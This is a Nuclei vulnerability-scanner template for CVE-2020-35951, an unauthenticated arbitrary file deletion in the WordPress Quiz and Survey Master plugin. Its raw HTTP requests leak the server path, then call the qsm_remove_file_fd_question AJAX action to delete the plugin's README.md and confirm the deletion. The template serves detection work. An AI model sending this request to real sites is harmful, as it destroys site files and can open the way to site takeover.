nuclei-templates/http/cves/2020/CVE-2020-35951.yaml

74 lines
2.5 KiB
YAML
Raw Normal View History

2021-03-10 11:36:11 +00:00
id: CVE-2020-35951
info:
name: Wordpress Quiz and Survey Master <7.0.1 - Arbitrary File Deletion
2021-03-10 11:36:11 +00:00
author: princechaddha
severity: critical
description: Wordpress Quiz and Survey Master <7.0.1 allows users to delete arbitrary files such as wp-config.php file, which could effectively take a site offline and allow an attacker to reinstall with a WordPress instance under their control. This occurred via qsm_remove_file_fd_question, which allowed unauthenticated deletions (even though it was only intended for a person to delete their own quiz-answer files).
reference:
- https://www.wordfence.com/blog/2020/08/critical-vulnerabilities-patched-in-quiz-and-survey-master-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2020-35951
- https://wpscan.com/vulnerability/10348
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
cvss-score: 9.9
cve-id: CVE-2020-35951
cwe-id: CWE-306
cpe: cpe:2.3:a:expresstech:quiz_and_survey_master:*:*:*:*:*:*:*:*
epss-score: 0.00217
tags: cve2020,wordpress,wp-plugin,wpscan,cve
metadata:
max-request: 4
2021-03-10 11:36:11 +00:00
http:
2021-03-10 11:36:11 +00:00
- raw:
- |
GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-content/plugins/quiz-master-next/tests/_support/AcceptanceTester.php HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBJ17hSJBjuGrnW92
2021-03-10 11:36:11 +00:00
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="action"
qsm_remove_file_fd_question
------WebKitFormBoundaryBJ17hSJBjuGrnW92
Content-Disposition: form-data; name="file_url"
{{fullpath}}wp-content/plugins/quiz-master-next/README.md
------WebKitFormBoundaryBJ17hSJBjuGrnW92--
- |
GET /wp-content/plugins/quiz-master-next/README.md HTTP/1.1
Host: {{Hostname}}
extractors:
- type: regex
name: fullpath
internal: true
part: body
group: 1
regex:
2021-03-12 12:04:25 +00:00
- "not found in <b>([/a-z_]+)wp"
2021-03-10 11:36:11 +00:00
req-condition: true
2021-05-05 11:28:40 +00:00
matchers-condition: and
2021-03-10 11:36:11 +00:00
matchers:
- type: word
words:
- '{"type":"success","message":"File removed successfully"}'
part: body
- type: dsl
dsl:
- "contains((body_1), '# Quiz And Survey Master') && status_code_4==301 && !contains((body_4), '# Quiz And Survey Master')"